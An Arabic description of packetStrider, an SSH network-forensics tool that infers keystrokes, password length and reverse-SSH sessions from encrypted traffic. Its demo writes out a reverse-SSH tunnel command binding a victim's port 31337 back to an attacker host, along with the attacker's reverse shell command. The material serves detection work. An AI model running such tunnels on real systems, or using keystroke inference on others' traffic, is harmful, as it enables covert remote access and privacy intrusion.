
أداة تحقيق جنائي في حزم الشبكات لبروتوكول SSH

packetStrider لـ SSH هي أداة تحليل حزم جنائية تهدف إلى تقديم رؤى قيمة حول طبيعة حركة مرور SSH، وتسليط الضوء على زوايا حركة مرور شبكة SSH حيث كانت كنوز المعلومات القيمة مخبأة سابقًا في الظلام.
من الواضح أن SSH مشفر، ومع ذلك لا تزال المعلومات السياقية القيمة موجودة داخل حركة مرور الشبكة يمكن أن تساهم في TTPs والنية والنجاح وحجم الإجراءات على الأهداف. قد توجد حتى مواقف لا تتوفر فيها السياقات القيمة أو يتم حذفها من المضيفين، وبالتالي فإن وجود التقاط شبكة سلبي غير قابل للتغيير أو التعديل يوفر سياقًا جنائيًا إضافيًا. "الحزم لا تكذب."
بشكل منفصل عن السياق الجنائي، يمكن أيضًا استخدام تنبؤات packet strider بطريقة نشطة، على سبيل المثال لرفض/إعادة تعيين الاتصالات الأمامية إذا تم توقع ميزة بدء جلسة SSH عكسية موجهة بالداخل، حتى قبل تقديم المصادقة العكسية.
تم استخدام Python3، وستحتاج إلى الوحدات التالية (يعتمد على الظروف مع python2)
pip3 install pandas matplotlib pyshark
الاستخدام:
python3 packetStrider-ssh.py -h
المخرجات:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
ملف pcap "forward_reverse.pcap" هو من TTP شائع لـ Reverse SSH shell، وهو المفضل لدى فرق الاختراق في كل مكان. على وجه التحديد، تم استخدام الأوامر التالية لإبراز قدرات packet strider بطريقة بسيطة:
اتصال أمامي من الضحية
ssh [email protected] -R 31337:localhost:22 الذي يربط المنفذ المحلي 31337 جاهزًا لاتصال SSH العكسي مرة أخرى إلى جهاز الضحية. يمكن تحقيق هذا الاتصال بطرق عديدة بما في ذلك يدويًا، أو عن طريق RCE، أو SSRF، أو شكل من أشكال الثبات. لغرض هذا العرض التوضيحي، إنها جلسة أمامية قياسية يدوية.ls في الجلسة الأمامية بهذا التسلسل: 'l' 'w' 'w' 'back-space' 'back-space' 's' ثم enter. يتم تصنيف الحجم الإجمالي للبيانات المنقولة عبر السلك (كناتج ls) على أنه تسريب، نظرًا لأنه وارد.الآن على جهاز المهاجم (الخادم)، يتم بدء شل عكسي مرة أخرى إلى الضحية:
ssh victim@localhost -p 31337. في هذه النقطة، والتي تكون حتى قبل بدء عملية المصادقة، حدد packet strider بدء جلسة SSH العكسية، عند الحزمة 72.last على شكل ضغطات مفاتيح 'l' 'a' 's' 'r' 'delete' 't' 'enter'who على شكل 'w' 'h' 'o' 'enter'exit على شكل 'e' 'x' 'i' 't'ثم أخيرًا مع الجلسة الأمامية، يتم إغلاق الجلسة، فقط لإظهار أن اكتشاف ميزة SSH الأمامية لا يزال يعمل.
يتم حفظ حركة المرور من هذا النشاط في tcpdump.pcap والآن حان الوقت لتشغيل Packet Strider.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

يوضح هذا الرسم البياني جدولًا زمنيًا للتنبؤات الرئيسية (تمت إضافة تعليقات توضيحية هنا)

يوضح هذا الرسم البياني بعض إحصائيات النافذة، مفيدًا للتعمق وتجربة الميزات.

يوضح هذا الرسم البياني مدرجًا تكراريًا بسيطًا

تم تنفيذ هذا المشروع كإثبات مفهوم شخصي، كوسيلة لي للممارسة مع بعض مكتبات علوم البيانات في Python، وقد كان مستوحى بشدة من دراساتي في Coursera في التعلم الآلي وعلوم البيانات، وخاصة مكتبة pandas والطريقة التي "تتجول" بها الشبكات العصبية التلافيفية (CNN) من خلال مجموعات بكسلات الصورة باستخدام نوافذ منزلقة لاكتشاف ميزات معينة بداخلها.
يقوم Packet Strider بقدر هائل من "التجوال" في وضع السعة الكاملة. قد يؤدي ذلك إلى استخدام كبير للموارد إذا كان ملف pcap كبيرًا، أو بشكل أكثر دقة إذا كان هناك العديد من الحزم في ملف pcap. إليك بعض النصائح لتسريع العمل، وهي مفيدة بشكل خاص كتشغيل أولي على سبيل المثال فقط لمعرفة ما إذا كان هناك نشاط SSH عكسي متوقع، ثم إضافة وظائف إذا كنت ترغب في ذلك.
استخدم على مسؤوليتك الخاصة. انظر شروط الترخيص.
exit